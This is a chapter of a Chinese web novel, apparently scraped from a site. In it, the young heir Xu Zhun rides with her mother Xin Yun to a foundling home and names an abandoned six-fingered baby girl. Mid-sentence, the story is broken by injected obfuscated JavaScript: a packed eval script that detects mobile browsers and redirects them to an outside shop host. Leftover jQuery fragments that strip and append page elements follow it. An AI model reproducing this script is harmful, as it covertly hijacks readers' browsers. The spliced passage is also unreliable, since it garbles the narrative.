“主君,今日难得同王妃出去,您加油,一定别再惹王妃生气了。”蔓蔓替徐准整理了一遍发带和前襟。
“好。”阿准移步。
“主君,记得昨晚纪娘子教过的,‘父母之命,勿逆,勿怠’。”春桃咬文嚼字,将手中那本做过批注、破破烂烂的《神器谱》塞进徐准的羊皮小包里。
“嗯。”阿准再迈步。
“主君,别饿着。”宽宽一把掀开包盖,将那坨从草原娘子那儿买来的香干饼塞了进去。
“等我回来。”
阿准义薄云天的一拉包带,这次一步移到桐生院门口早早等候在此的武婢面前:“小六,咱们走吧。”
小六同夏桃遥遥点了个头,没有一点犹豫,弯腰一把揽住阿准的腿,扛包袱般将人放上肩头:“主君趴好。”
“主君——”
桐生院的娘子们都扒着门框忧心忡忡,阿准从背上勉强抬起头来,遥遥冲他们挥手:“都回去吧,不用担心我,担心我,我……”
万幸小六还记得自己已经不是码头抗包袱的小工了,将人放稳在马车上时,她没忘记顺手替阿准拍掉衣裙上的褶皱。
“母亲。”徐准已无暇顾及其他,见了个礼便绷着一张严肃的小脸紧贴车门坐下。
马车晃啊晃,摇篮一般晃出了颂昌府,沿着出城的土路晃向城郊。
徐准头一回觉得坐车是如此安静的事。
辛韫坐在身边一贯的不发一言,她却头一回没有叽叽喳喳缠着母亲,车里安静的连轧过石子的声音都清晰可闻。
直到徐准第五次摩挲着手边的鞭子,打开车帘满脸艳羡的看向车外骑马的小六时,辛韫率先开口击穿了沉闷的空气:“昨日你在府门外撞见的人是寇三郎。”
辛韫目视前方,余光注意到阿准立马回过头坐端正后一怔,扯了扯膝头的袖子,这才继续说:“你父亲生前手下有十几名副将,他是心腹之一。”
“他如今还在军队?”
“不,你出生后,他便向你父亲请辞卸甲归田了。”
“母亲您有事央他?”阿准一针见血。
辛韫第一次转过头看向女儿——她想过徐准会在纪知微的教导下成长飞快,但没想过几个月的功夫能让一个只知道上山下河满地乱跑的孩子,变成一个通晓人事的,人。
“之前互市的巡逻,有他帮您吧?”阿准再次投下炸弹。
辛韫眨了眨眼睛:“是纪知微告诉你的?”
“是我自己想的。”徐准捏着羊皮小包上五颜六色的流苏,在辛韫的注视下挺直了身板,“官大人的关系都在皇都,且都是文人派系,加上钱夫人是皇后殿下远亲,这两重身份,如今在颂昌府便是真的在地上耍泼打滚,也不会有武将搭理他。”
“可那日集市上的巡逻士兵做不得假,那便是母亲练络了父亲的旧部,就是这位寇三郎相助。”徐准记得纪知微交待过的,即便心里动摇,还是尽量放缓抓稳声音,“除了这些,母亲还有什么要央他的事吗?”
母女俩鲜少如此对话,直到车帘被风吹起,耳边的碎发挠着脸颊,辛韫又眨了眨眼睛——
直到此刻她才发现,过去半年,徐准因为习武晒黑了一些,脸颊清减下去,已经褪去与她相似的过分柔和,浮出些徐平度的硬朗。
那是张脱胎于她,又更胜于她的面庞。
“我央他的事,日后你便会知道了。”马车似乎开始上坡,辛韫挑开车帘看了眼外头匆匆闪过的路标,“你知道用心了,很好。”
颂昌府外的山顶有座护城寺,阿准早就知道——过去每年的庙会都在山脚下举行,她跟着陶月亮和何君来过许多次。
可半山腰有座住了近五十人的院子,她还是头一回知道。
徐准仰面看着小院子门檐下挂着的木牌子,视线一寸寸扫过上头的字:弃儿院。
那牌子底下缀着只铜制的风铃,风一吹便轻轻晃着响。
辛韫迟一步被小六扶下马车,轻车熟路地走上前,抬手叩门:“念满,是我。”
门闩“咔咔”响动了几次,是抬起又放下的动静,不知道是第几次,门终于被打开,离出条细细的缝隙。
一个同阿准差不多大的孩子探出头来,一双眼睛看到辛韫的瞬间便褪去警惕,化作激动:“韫姨来啦!”
“怎么是你来开门?”徐准亲眼看着辛韫抬手摸了摸小娘子的脑袋,顺手替她理正了歪歪扭扭的发髻,“念满呢?”
“满姨在抱新来的妹妹。”那小娘子仰面笑着,理所应当的接受了辛韫难得的柔情,视线却悄悄飘到脸生的阿准身上,“我就先来开门。”
“已经能替念满照顾院子了?真乖。”辛韫这次直接摸了摸她的脸颊,毫不吝啬的给出了称赞,可转过身却只施舍给徐准几秒笑脸,“阿准,进去吧。”
徐准捏着荷包边缘缝线更厚的地方,点了点头。
小六在身后亲眼看到王妃牵起那个娘子的手后,徐准的脑袋悄悄低下去。
可惜她笨嘴拙舌,想要安慰几句却无论如何都张不开嘴,好不容易伸出手来,徐准已经迈步往前,她也只得收回手紧跟在阿准身后,一道进了门。
这个小院子四面围墙建得极高,墙头参差不齐的插着陶片,但许是因为四周绿树掩映,进来方才觉出院子偌大,不分正屋侧屋,所有屋子里都整整齐齐摆着床榻,院落里挂着晾衣绳和正在晒干的草药。
不怕生的孩子已经站在四面廊下看着她们,怕生的则都扒在门边小心的探头探脑,还有一些躺在床上,但也闻声坐起朝她们的方向张望。
阿准看得清楚,这院子里除了生病的几个小子,其他大多是女孩,其中一个孩子身上穿着的衣服她有件相似的,只是短了袖子被春杏收起了起来。
阿准想着,没忍住回头多看了一眼——不是相似,似乎就是自己那件——衣襟上那一块洗不掉的墨迹还显眼的招摇着。
等阿准回过神来,辛韫已经被一大群孩子围在院子中间,叽叽喳喳地偎在她腿边:
“韫姨,您最近怎么没来看我们啊?”
“韫姨韫姨,我《三字经》又背了三页,我背给您听。”
“韫姨,您看我绣的花……”
每个人都像是嗷嗷待哺的幼鸟仰着脸望她,期待着她给出回应。
辛韫对她们倒是毫不吝啬,含着笑抚过她们的脸颊,亲昵的仿佛这些“小鸟”都是她的孩子。
“主君,您别生气,王妃是有孕后才开始照顾弃儿院这些孩子的,也是为您积累福报,才对这些孩子格外宽厚。”
小六站在身后似乎都能听到徐准嘎吱嘎吱咬牙的动静,附耳轻声解释。
徐准嘴角一扬,仿佛上一秒撅着嘴的人不是她:“小六,你哪里看出我生气了?母亲打理颂昌府事务,管理弃儿院也是为她自己积累福报,和我有什么关系。”
小六早有觉悟这母女俩其实一样心口不一,此刻得了验证,用尽全身力气才忍住笑意,摆出平日那副面无表情的脸。
“娘子说的对,是小六失言了。”
嘴上这么说,徐准一双眼睛却从未离开辛韫的手,盯得被摸过的孩子也忍不住看过来。
“王妃万
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833439|211359||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
福!我迎晚了。”
“成了成了,孩子们问过好便不要围着了,让韫姨坐一坐。”醋得发苦之前,叫门时被提到的那位“念满”终于抱着个襁褓姗姗来迟,虚虚见了礼,“您来怎么没提前说一声……这是?”
她说着,看向徐准。
“是阿准。”
辛韫身前的孩子们依依不舍地走开,阿准这才得了空隙走到辛韫身边,伸手牵住了母亲的裙摆。
“是主君啊,主君万福!”袁念满是个大嗓门,脸颊飞红,头发束得干净利落,说话时仿佛带着股热乎气,“您和这孩子一样大时我便见过,时间真很快啊,您也长这么大了。”
“满娘子。”徐准掐不准对方的姓氏,便随着自己的心意唤了人。
“欸,主君。”袁念满不在意这些,笑着应了。
辛韫看着两人有来有回,余光瞥见院角的药架,开口先问了当紧的问题:“白术还没回来?”
“没呢,她舍不得雇马车,带着草药走到临原郡也得一日,”袁念满晃着怀里哼哼唧唧的孩子,“王妃不用担心,我记着您交代的,要是到了日子她没回来我一定寻人给王府递信。”
说话的功夫,辛韫伸手,从袁念满怀里接过了襁褓中的女婴:“这孩子是新来的?”
“昨日清晨何大娘从门口抱来的,”袁念满看了眼阿准,侧身遮掩着从襁褓里牵出那孩子的手,“是个女娃娃,左手生了六指,估计是嫌不吉利,头发都烧焦了一块儿。”
辛韫并不在乎那块襁褓包袱上的污渍,只是将那孩子抱得更紧了些:“取名字了吗?”
“没呢,”袁念满摇头,“我说等白娘子回来替她断了指,若能活下来再取名字。”
“为什么要断指?”
阿准再旁边突然插口——她看见那只小手上多了根手指,但模样并不奇怪,哭起来在空气中乱抓时多出来的那根手指也活动自如。
袁念满怔了片刻,下意识看向辛韫,直到她点头才又重新转回来,蹲下身来,竖起自己的五根手指在徐准面前比划:“这个妹妹多了个指头,断了指头,她便能活下来了。”
“不割会死吗?”
“倒也不会。”
“那为什么要割?”
“因为不吉……”
不吉利。
袁念满原本想这样说的,话到口边,对上面前直勾勾盯着自己的眼睛却突然噎住了——这个孩子,是贞德王朝的灾星,若说不吉利,她呼出的一口气怕是都比那根手指更不吉利。
措辞的时间长得开始可疑,辛韫开口打断了窘境:“念满,找人帮你把马车里的东西搬下来吧。”
“欸。”袁念满像是终于得救,撑着膝盖起身,仿佛身后有鬼在追一般跑向马车。
阿准抬头看向辛韫:“母亲,不吉利是因为六指,还是因为她是女孩?”
“你想给这孩子取个名字吗?”辛韫蹲下身来,看着女儿。
“我?”
“你。”
怀里的孩子停下了哭闹,轱辘辘转着乌黑的眼球看着眼前的两张脸,末了竟然咧开嘴巴笑了起来。
阿准皱着眉苦大仇深,半天才将将挤出两个字来:“尽春?”
“哪两个字?”
“野火烧不尽,春风吹又生。”徐准盯着她脑袋上那一小块烧焦的胎毛,小声反悔,“算了,还是母亲来吧,我取得不好……”
“尽春,”辛韫轻轻将孩子托起,让她能清楚的和阿准面对面看清对方,“这是我的女儿,比你大六岁,她唤作阿准。”
“阿准姐姐。”